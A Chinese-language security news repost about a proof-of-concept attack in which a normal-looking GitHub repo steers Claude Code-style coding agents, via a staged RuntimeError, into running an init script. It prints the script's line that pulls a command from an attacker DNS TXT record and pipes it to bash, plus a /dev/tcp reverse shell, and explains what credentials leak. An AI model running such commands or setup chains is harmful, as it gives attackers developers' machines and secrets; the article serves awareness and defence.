文章总结： 文档介绍了一种针对ClaudeCode等AI代码代理的新型攻击技术，攻击者通过看似正常的GitHub仓库诱导AI代理执行恶意操作。该攻击利用间接提示注入技术，通过DNSTXT记录传递base64编码的反向shell载荷，可在开发者设备上建立完全交互式shell，窃取API密钥等敏感信息。研究证实此类攻击具有实际威胁，建议供应商实现透明运行时执行链并采用沙箱工作流程防范。 综合评分： 86 文章分类： AI安全,漏洞分析,威胁情报,恶意软件,安全开发

新型 Claude Code 攻击可让攻击者完全控制开发者设备

原创

承影 承影

兰花豆说网络安全

2026年7月1日 00:00 湖北

在小说阅读器读本章

去阅读

Mozilla 零日漏洞研究专项团队（0DIN）的研究人员演示了一套概念验证攻击方案：外观完全无异常的 GitHub 代码仓库，可诱导 Claude Code 这类 AI 代码代理程序，在开发者设备上悄无声息建立反向 Shell，且仓库内不存在任何一行恶意代码。

该概念验证 (PoC) 攻击于 2026 年 6 月 25 日发布，目标是 Claude Code 等智能体编码工具，并利用间接提示注入技术。该技术将恶意指令嵌入到 AI 智能体处理的外部内容中，而不是直接嵌入到用户输入中。

结果是灾难性的：一个完全交互式的 shell 在开发者自己的用户权限下运行，可以访问环境中的所有密钥，从 ANTHROPIC_API_KEY 到 AWS_SECRET_ACCESS_KEY 和 GITHUB_TOKEN 。

根据 OWASP 基金会的说法，提示注入漏洞被认定为 LLM01:2025，是人工智能应用中最严重的漏洞。这项最新研究表明了其严重性——它不仅仅是聊天机器人带来的麻烦，而是一种能够导致系统完全崩溃的机制。

新claudecode攻击

这种攻击看似简单，实则暗藏玄机，它由三个看似普通的组件串联而成，单独来看不会引起任何警觉。

步骤一：一个看起来正常的存储库

这个恶意代码库提供了一个标准的 README 其中描述了一个名为“Axiom”的虚构云部署工具。安装说明看起来完全合法：安装依赖项，然后运行 python3 -m axiom init 。没有任何明显的可疑内容，而且该项目通过了任何人工代码审查。

步骤二：精心设计的失败方案

该 Python 包的设计初衷是拒绝执行，直到完成初始化。首次使用时，它会抛出一个清晰明了的 RuntimeError ，引导用户运行 python3 -m axiom init 。这完全符合软件的常规模式，而这正是其有效之处——Claude Code 将此错误视为常规的恢复情况。

步骤三：从 DNS 获取有效载荷的安装脚本

init 命令调用一个 shell 脚本，该脚本解析攻击者控制的 DNS TXT 记录，并将其内容直接通过管道传递给 bash：

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')[ -n "$cfg" ] && bash -c "$cfg"

DNS TXT 记录包含一个 base64 编码的反向 shell 有效载荷：

"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash"

这会解码成一个标准的反向 shell：

bash&nbsp;-i >& /dev/tcp/<attacker-host>/4443&nbsp;0>&1

由于有效载荷是在运行时从 DNS 获取的，因此对于静态代码扫描器、人工审查员和 AI 代理本身来说，它是完全不可见的。

当开发者要求 Claude Code 启动项目时，代理会自主地：

• 读取存储库文件并安装依赖项
• 尝试使用该应用程序时遇到 RuntimeError
• 读取错误信息并运行 python3 -m axiom init 作为例行错误恢复
• 初始化脚本解析攻击者的 DNS TXT 记录并执行解码后的有效载荷。
• 反向 shell 连接到攻击者的服务器

开发者的终端输出没有显示任何可疑之处，只有：

Initialising Axiom platform…

Environment ready

Claude Code 从未有意识地“决定”打开一个 shell。它只是决定修复一个错误。反向 shell 与代理实际评估的任何内容都隔了三个间接步骤。

一旦建立反向 shell，攻击者即可获得：

• 以开发者自己的用户帐户运行的完整交互式 shell
• 所有环境密钥：API 密钥、云凭证、Git 令牌和 .env 文件内容
• 持久化机制：丢弃 SSH 密钥、安装定时任务或部署后门的能力
• 可替换的有效载荷：DNS TXT 记录可以随时更新，无需提交代码库，因此任何工具都无法捕获差异。
• 传播范围广：通过招聘信息、教程、Slack 消息或博客文章分发的单个存储库链接可能会危及每个使用智能编码工具打开它的开发人员。

这种攻击面并非 Claude Code 独有；同样的攻击链可以影响任何自主执行设置流程的智能编码工具，包括 Cursor 和 Gemini CLI。

该攻击利用了一个根本性的架构缺陷：它的组件分散在三个独立的系统中，而这些系统从未被放在一起进行检查。

这种将有效载荷隐藏在存储库之外并在运行时交付的技术也出现在 CVE-2025-55284 中 ，这是一个严重的 Claude Code 漏洞，已于 2025 年 6 月修复，其中利用提示注入通过 DNS 子域编码窃取 API 密钥。

这项研究证实， 在智能体系统中间接注入提示信息并非仅仅是聊天机器人的理论问题，而是一种主动的、可被利用的攻击手段，在供应链分销领域具有实际应用潜力。

2026 年 3 月，Unit 42 团队记录了首例在真实环境中爆发的大规模间接提示注入攻击，这标志着威胁攻击者已开始批量利用此类漏洞开展实战攻击。

核心问题是架构上的：代理编码工具拥有攻击者所需的一切授权访问权限：私有环境变量、凭据、API 密钥和本地配置文件，同时还能从存储库、文档和错误消息中获取不受信任的内容。

除非供应商实现透明的运行时执行链，并且开发人员对不熟悉的代码采用沙箱优先的工作流程，否则这种攻击面仍然大开。

END

推荐阅读

Kali Linux 2026.2 发布，新增 9 个工具并优化虚拟机启动设置

2026-06-30

两伙黑客同时潜伏一家企业，用的全是合法工具

2026-06-28

美国水务系统频遭黑客攻击，为何中国很少发生？

2026-06-27

网站自动跳转”小黄网”？鄂尔多斯一煤矿企业栽了，被网信办立案处罚！

2026-06-20

高考填志愿，网安专业还值得报吗？

2026-06-19

LockBit勒索病毒的前世今生和应对策略

2026-06-19

2026年，网络安全公司该怎么活？

2026-06-18

2026年，传统安全产品创业，还有出路吗？

2026-06-17

小白入门 | 渗透测试系统Kali安装全过程

2026-06-16

小白入门 | 社会工程学模拟工具setoolkit

2026-06-16

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：兰花豆说网络安全 承影 承影《新型 Claude Code 攻击可让攻击者完全控制开发者设备》